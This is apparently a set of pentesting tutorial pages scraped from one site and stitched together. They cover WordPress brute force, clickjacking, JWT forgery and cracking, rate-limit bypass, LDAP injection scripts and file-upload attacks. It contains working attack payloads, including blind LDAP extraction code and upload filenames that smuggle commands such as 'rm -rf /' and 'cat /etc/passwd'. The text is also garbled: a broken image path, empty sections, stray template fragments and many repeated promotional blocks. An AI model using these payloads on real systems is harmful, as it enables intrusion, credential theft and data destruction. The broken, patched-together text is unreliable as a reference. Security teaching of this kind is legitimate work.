):
* `wp.getUsersBlogs`
%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(2\)%20\(4\)%20\(1\).png)
* `wp.getCategories`
* `metaWeblog.getUsersBlogs`
* File upload example with `wp.uploadFile`: (useful for shell upload if creds valid).
* **Optimization** β Use `system.multicall` for faster brute force attempts.
Using the correct credentials you can upload a file. In the response the path will appears
```html
wp.uploadFile
1 username password
name
filename.jpg
type
mime/type
bits
```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
wpscan --rua -e ap,at,tt,cb,dbe,u,m \
--url http://www.domain.com \
--plugins-detection aggressive \
--api-token <API_TOKEN> \
--passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt
# If you specifically want to brute-force the 'admin' user:
wpscan --url http://www.domain.com \
-U admin \
-P /usr/share/wordlists/rockyou.txt \
--api-token <API_TOKEN>
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/product-category/membership/)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# Penetration Testing WiFi Networks
{% embed url="" %}
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
Wireless networks (WiFi) have become ubiquitous, facilitating seamless internet connectivity across devices. However, this convenience comes with significant security challenges. Penetration testing (pentesting) WiFi networks is crucial for identifying vulnerabilities and strengthening network defenses. This guide aims to provide a comprehensive step-by-step approach to WiFi pentesting, targeted at both beginners and intermediate users. Weβll cover essential WiFi commands, tools available in Kali Linux, and a variety of attacks to help you get started.
Photo by Paul Hanaoka on Unsplash
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# Clickjacking
Explore clickjacking attacks with VeryLazyTechβtechniques, exploits, and lazy prevention tips!
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## Basic info
Clickjacking, also known as UI redressing, is a deceptive cyber attack where users are tricked into clicking on hidden UI elements, performing unintended actions. Attackers leverage iframes and CSS opacity tricks to overlay malicious content on legitimate pages, leading to data theft, account takeovers, or spreading malware.
In this guide, we'll explore how Clickjacking works, real-world attack scenarios, and prevention strategies to mitigate this web security threat.
***
## What is Clickjacking?
Clickjacking is an attack where a victim is tricked into clicking something different than what they perceive. This technique exploits web page layering, allowing attackers to load invisible or disguised UI components over a trusted page.
### How Clickjacking Works
1. A victim visits a seemingly harmless webpage.
2. The page embeds an invisible or disguised iframe containing a sensitive action (e.g., enabling a webcam, making a purchase, or liking a post).
3. The victim interacts with the webpage, unknowingly triggering the hidden action.
4. The attacker gains access to the unintended action, often leading to security breaches.
***
## Common Clickjacking Exploits
Clickjacking attacks vary in complexity, combining JavaScript, CSS, and social engineering tactics. Below are some common exploit techniques:
### 1. Prepopulate Forms Trick
Attackers overlay an invisible login form over a trusted page. When the victim clicks anywhere, they unknowingly submit credentials.
### 2. Drag & Drop Exploit
This technique forces users to drag a disguised malicious element, dropping it into a sensitive area (e.g., file upload, email attachment submission).
```
.
1. Click and press delete button
3.Click me
2.DRAG ME TO THE RED BOX
```
### 3. Basic Clickjacking Payload
```
Click the button below
Win a Prize!
```
In this example, clicking the button actually submits a hidden transaction.
### 4. XSS + Clickjacking Attack
If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.Click me first
Click me next
```
***
## How to Prevent Clickjacking
### **Client-Side Defenses**
**1. Content Security Policy (CSP)**
Use `frame-ancestors` directive to prevent embedding:
```
Content-Security-Policy: frame-ancestors 'none';
```
**2. X-Frame-Options Header**
Blocks the site from being loaded in an iframe:
```
X-Frame-Options: DENY
```
**3. Frame Busting JavaScript**
```
if (window.self !== window.top) {
document.body.innerHTML = '';
alert("Clickjacking attempt detected!");
}
```
## **Server-Side Protections**
* Set secure HTTP headers.
* Implement user interaction validation (e.g., CAPTCHAs).
* Use SameSite cookies to prevent cross-origin access.
***
{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# Command Injection
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## Basic info " %}
#### **Examples** " %}
***
{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# JWT Vulnerabilities
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## What is JWT?
JWT is an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. It consists of three parts:
* **Header** β Specifies the token type and signing algorithm (e.g., HS256, RS256).
* **Payload** β Contains the claims, such as user ID, roles, and expiration time.
* **Signature** β Used to verify the authenticity of the token.
A typical JWT looks like this:
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ikpv
biBEb2UiLCJhZG1pbiI6dHJ1ZX0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```
JWTs are widely used in APIs, Single Sign-On (SSO), and authentication mechanisms, but their security largely depends on correct implementation.
```
Use tools like Burp Suite, Postman, or your browserβs Developer Tools to inspect network requests and locate JWTs.
#### 2. **Check Local Storage, Session Storage, and Cookies**
JWTs may be stored in:
```
console.log(localStorage.getItem('token'));
console.log(sessionStorage.getItem('token'));
console.log(document.cookie);
```
Use browser Developer Tools (`F12` -> `Application` -> `Storage`) to find them.
#### 3. **Search in JavaScript Files**
Developers sometimes hardcode JWTs in JavaScript files. Use tools like `grep`:
```
grep -r 'eyJ' /var/www/html/
```
Or use Burp Suiteβs passive scanner to detect tokens.
#### 4. **Analyze API Responses**
JWTs are often returned in API responses. Use tools like `curl`:
```
curl -X GET https://example.com/api -H "Authorization: Bearer "
```
Intercept API responses with Burp Suite or OWASP ZAP to extract JWTs.
#### 5. **Check Logs and Error Messages**
JWTs may be leaked in logs or error messages. Run:
```
grep -r 'Authorization: Bearer' /var/log/
```
Review logs, especially if debugging mode is enabled.
#### 6. **Use Search Engines (Google Dorking)**
Sometimes JWTs are exposed online. Try:
```
site:example.com inurl:token
```
***
## Quick win
Run [**jwt\_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG..."
```
If you are lucky the tool will find some case where the web application is incorrectly checking the JWT:
.png)
Then, you can search the request in your proxy or dump the used JWT for that request using jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp.
***
### Common JWT Vulnerabilities and Exploitation Techniques
### 1. **Algorithm Confusion Attack (None Algorithm Bypass)**
If a server improperly verifies the signing algorithm, an attacker can modify the header to use `"alg": "none"`, bypassing signature verification.
**Exploitation:**
1. Capture a valid JWT token.
2. Modify the header to:
```
{ "alg": "none", "typ": "JWT" }
```
3. Remove the signature part and send the modified token to the server.
4. If the server accepts the unsigned token, authentication is bypassed.
***
### 2. **Weak Secret Key (Brute-Force HS256 Secret Key)**
HS256 requires a secret key for signing, but weak secrets can be brute-forced using tools like `jwt-cracker` or `John the Ripper`.
**Exploitation:**
1. Extract the JWT token.
2. Use `jwt-tool` or `hashcat` to brute-force the key:
```
hashcat -m 16500 -a 3 token.jwt rockyou.txt
```
3. If cracked, forge valid JWT tokens with arbitrary claims.
***
### 3. **Key Confusion in RS256 to HS256 Downgrade Attack**
If a server allows switching between `RS256` and `HS256`, an attacker can trick it into using a public key as an HMAC secret key.
**Exploitation:**
1. Extract the public key of the application.
2. Change the algorithm in the JWT header from `RS256` to `HS256`.
3. Sign the token using the extracted public key.
4. If accepted, the attacker can generate valid admin JWTs.
***
### 4. **JWT Expiration and Replay Attacks**
Expired tokens may still be accepted if expiration checks are not properly implemented.
**Exploitation:**
1. Capture a valid JWT.
2. Modify the `exp` field in the payload to extend its validity.
3. Resign the token and reuse it to gain prolonged access.
***
### 5. **Sensitive Data Exposure in JWT Payloads**
JWT payloads are base64-encoded, not encrypted. Storing sensitive data in them can lead to information leaks.
**Exploitation:**
1. Decode the JWT payload:
```
echo '' | base64 -d
```
2. If sensitive information (passwords, API keys) is exposed, attackers can use it for further attacks.
***
## Tools for Penetration Testing JWTs
### **1. jwt\_tool**
* A powerful Python tool for testing JWT security.
* Install it using:
```
pip install jwt_tool
```
* Example usage:
```
jwt_tool -C -d wordlist.txt
```
### **2. jwt-cracker**
* Used for brute-forcing weak JWT secrets.
* Command:
```
jwt-cracker -t
```
### **3. Burp Suite with JWT Editor**
* Intercept and modify JWTs in real time.
* Add `JWT Editor` extension from Burpβs BApp Store.
### **4. John the Ripper & Hashcat**
* Used for cracking JWT HMAC secrets.
* Hashcat example:
```
hashcat -m 16500 -a 3 rockyou.txt
```
***
{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# Bypass rating limit
Bypass rate limits like a pro with VeryLazyTechβadvanced exploits and lazy techniques unveiled!
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## Basic info
Rate limiting is a fundamental security mechanism designed to prevent brute-force attacks, credential stuffing, and API abuse. However, many implementations contain weaknesses that attackers can exploit to bypass restrictions. This article explores advanced techniques used to evade rate limits, how tools like **Burp Suite** and **ffuf** automate attacks, and how security professionals can detect and mitigate these vulnerabilities.
### Understanding Weak Rate-Limiting Mechanisms
Rate limits are typically enforced using one or more of the following strategies:
* **IP-based limiting:** Restricts requests from the same IP address.
* **Session-based limiting:** Limits actions within a specific user session.
* **Header-based limiting:** Uses custom headers to enforce restrictions.
* **Time-based limiting:** Allows a fixed number of requests per second/minute/hour.
Attackers bypass weak implementations by manipulating these constraints. Let's explore some advanced techniques.
***
## Rate Limit Bypass Techniques
### 1. Exploring Similar Endpoints
Attackers look for variations of the targeted endpoint to see if rate limits apply inconsistently. Examples:
```
/api/v3/sign-up
/Sing-up
/SignUp
/singup
/api/v1/sign-up
/api/sign-up
```
By rotating between multiple endpoints, an attacker can bypass rate limits applied to a single endpoint.
### 2. Incorporating Blank Characters in Code or Parameters
Adding **blank bytes** such as `%00`, `%0d%0a`, `%20` can fool poorly implemented rate limit checks. Example:
```
code=1234%0a
```
This tactic is useful for circumventing login attempt restrictions by injecting variations of credentials.
### 3. Manipulating IP Origin via Headers
Many rate-limiting systems rely on IP addresses to track request counts. Attackers manipulate headers such as:
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
```
By altering these headers, attackers can trick the server into treating repeated requests as coming from different users.
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# CORS - Misconfigurations & Bypass
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## **Understanding CORS (Cross-Origin Resource Sharing)**
**Cross-Origin Resource Sharing (CORS)** is a crucial security feature implemented by web browsers to prevent unauthorized access to resources from different origins. It acts as a safeguard against **cross-origin attacks**, ensuring that scripts loaded from one domain cannot interact with resources hosted on another unless explicitly allowed by the server.
While CORS is intended to enhance security, **misconfigurations** can introduce severe vulnerabilities, allowing attackers to **bypass restrictions** and potentially exploit sensitive data. This article explores **common CORS misconfigurations**, their impact, and various bypass techniques that attackers leverage.
### What is CORS? Arun
*
*
*
*
*
***
{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# LDAP Injection
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## Basic info
LDAP (Lightweight Directory Access Protocol) Injection is a security vulnerability that occurs when user input is improperly sanitized before being used in LDAP queries. Attackers can exploit this vulnerability to bypass authentication, extract sensitive data, or escalate privileges.
LDAP is used to manage and query directory services, such as Active Directory. A typical LDAP query looks like this:
```
(&(uid=USERNAME)(password=PASSWORD))
```
If the application fails to properly sanitize user input, an attacker can manipulate the query to gain unauthorized access or extract sensitive information.
{% file src="/files/2fTtV1MjDRPg9LK3M1pd" %}
#### **LDAP** " %}
***
## Understanding LDAP Filters
LDAP (Lightweight Directory Access Protocol) uses filters to search for objects within a directory. These filters follow a specific syntax and can be manipulated to bypass authentication or extract information.
### LDAP Filter Syntax
A basic LDAP filter follows this structure:
```
Filter = ( filtercomp )
filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr "=" [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
```
**Logical Operators:**
* `(&)` = Absolute TRUE
* `(|)` = Absolute FALSE
**Examples:**
```
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
```
### LDAP Behavior Across Different Implementations
Different directory servers handle LDAP filters differently:
* **OpenLDAP**: If multiple filters arrive, only the first one is executed.
* **ADAM / Microsoft LDS**: Throws an error when multiple filters are sent.
* **SunOne Directory Server 5.0**: Executes both filters.
It is crucial to use proper syntax when sending LDAP queries to avoid errors. A filter should always start with `&` or `|`.
**Example:**
```
(&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
```
## LDAP Injection for Authentication Bypass
LDAP supports various password storage formats, including plaintext, MD5, SHA, and crypt. If passwords are hashed, direct injection of credentials may not work, but filters can still be manipulated.
### Injection Examples
**1. Wildcard Authentication Bypass**
```
user=*
password=*
--> (&(user=*)(password=*))
```
Using `*` as a wildcard allows authentication with any user/password combination.
**2. Injecting Boolean Logic to Always Return True**
```
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
This forces a query that evaluates to TRUE, bypassing authentication.
**3. Forced Admin Login**
```
username=admin)(!(&(|
pass=any))
--> (&(uid=admin)(!(&(|)(webpassword=any))))
```
Since `(|)` is always FALSE, the password check is bypassed.
**4. Null Injection to Terminate Queries**
```
user=*))%00
pass=any
--> (&(user=*))%00
```
Adding `%00` (null byte) prematurely terminates the query, potentially bypassing authentication checks.
## Blind LDAP Injection
#### Boolean-Based Blind Injection
By forcing TRUE/FALSE responses, attackers can infer the existence of valid users:
```
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
If the object exists, information is retrieved. Otherwise, no data is returned.
#### Extracting Data Character by Character
By iterating through ASCII characters, attackers can brute-force credentials or other sensitive attributes.
```
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
```
## Automating LDAP Exploitation
#### Discovering Valid LDAP Attributes
A script can brute-force attribute names to extract available fields:
```python
#!/usr/bin/python3
import requests
import string
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["cn", "mail", "uid", "userPassword", "sn"]
for attribute in attributes:
value = ""
finish = False
while not finish:
for char in alphabet:
query = f"*)({attribute}={value}{char}*"
data = {'login': query, 'password': 'bla'}
r = requests.post(url, data=data, proxies=proxy)
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]:
finish = True
print()
```
#### Blind Injection Without Wildcards
If `*` is blacklisted, a character-by-character brute-force method can be used:
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
for char in alphabet:
r = requests.get(f"http://ctf.web??action=dir&search=admin*)(password={flag}{char}")
if "TRUE CONDITION" in r.text:
flag += char
print("[+] Flag: " + flag)
break
```
## Finding Vulnerable Applications with Google Dorks
Attackers can use search queries to find exposed LDAP management interfaces:
```
intitle:"phpLDAPadmin" inurl:cmd.php
```
LDAP Injection is a critical vulnerability that allows attackers to manipulate directory queries, bypass authentication, and extract sensitive data. Proper input validation, escaping special characters, and enforcing least privilege access controls are essential to mitigating these attacks.
## Lists
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
* [LDAP attributes](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
* [LDAP workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection)
***
{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)
Support VeryLazyTech π
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endhint %}
# File upload vulnerabilities
{% tabs %}
{% tab title="Support VeryLazyTech π" %}
* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! π**
* **Follow** us on:
* **β Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
* **πΎ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
* **π Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
* **πΊ YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
* **π© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
* **π΅οΈββοΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses. π
{% endtab %}
{% endtabs %}
## Basic info
File upload vulnerabilities occur when a server allows users to upload files without proper validation, potentially letting attackers upload malicious content. This can lead to severe issues like remote code execution, where attackers run commands on the server, or denial of service by consuming resources.
## Bypass file extensions checks `
**How it Works:**
* If an application **renders filenames inside HTML** without proper escaping, an attacker can execute JavaScript.
* The injected filename triggers an **XSS attack** when viewed in the browser.
***
#### [**Command Injection via File Upload**](/pentesting-web/command-injection)
Set filename to `; sleep 10;`
**How it Works:**
* If an application **processes filenames in shell commands**, an attacker can inject OS commands.
* Example payloads:
```bash
; rm -rf / ;.jpg
&& whoami &&
| cat /etc/passwd |
```
***
#### **5. XSS in Image Upload (SVG File Exploitation)**
Upload an SVG file containing JavaScript
**How it Works:**
* **SVG files** are XML-based and can contain embedded JavaScript.
* If the server allows SVG uploads and serves them **without proper security headers**, attackers can **execute JavaScript in the victimβs browser**.
***
#### **6. JS File Upload + XSS = Service Workers Exploitation**
Upload a JavaScript file and register a malicious **Service Worker**
**How it Works:**
* If an attacker can upload **a `.js` file**, they can **register a Service Worker** in the victimβs browser:
```js
navigator.serviceWorker.register('/uploads/malicious.js');
```
***
